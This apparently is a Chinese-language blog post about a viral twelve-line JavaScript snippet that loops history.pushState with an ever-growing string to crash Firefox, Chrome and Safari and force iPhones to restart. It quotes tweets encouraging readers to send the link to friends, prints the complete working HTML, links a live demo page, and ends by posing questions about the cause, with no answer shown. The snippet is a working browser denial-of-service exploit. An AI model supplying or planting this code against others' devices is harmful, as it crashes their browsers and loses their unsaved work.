這十二行代碼是如何讓瀏覽器爆炸的?
起因
今天刷推特的時候發(fā)現(xiàn) Cyber Security@cyber__sec 的推文讓人眼前一亮:
Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit// 使用下面這段 JavaScript 代碼能讓 firefox,chrome,safari 瀏覽器崩潰,而且還能讓 iphone 重啟。
繼續(xù)在推特上深挖發(fā)現(xiàn) IT Security Tweets ™ @F1r3h4nd 于 17 日發(fā)推:
Crash your friend’s browser and restart Iphone with a link which has this script: #0day
//把帶有下面這個腳本的鏈接發(fā)給你的朋友,能讓你朋友的瀏覽器崩潰,而且讓 Iphone 重啟。
完整 HTML 代碼如下:
- <html>
- <body>
- <script>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString ();
- history.pushState (0,0,total);
- }
- </script>
- </body>
- </html>
demo:(溫馨提示:請保存瀏覽器其它窗口的編輯任務(wù))
www.0xroot.cn/demo.html (點擊一下,又不會懷孕!)
接來下會發(fā)生什么?
點開以后,我的狀態(tài)是這樣的:
如果你是 PC 端用戶,點開鏈接以后,電腦 CPU 內(nèi)存極有可能一路狂飆直至瀏覽器崩潰卡死!
如果你是移動端(安卓、iPhone)用戶,點開鏈接以后你的瀏覽器會閃退!在微博、微信客戶端點開鏈接同樣會閃退。iPhone 用 Safari 打開之后鏈接之后,手機注銷重啟了!…
思考
這是 Bug 還是 0day?為什么會有這一現(xiàn)象?如何實現(xiàn)的?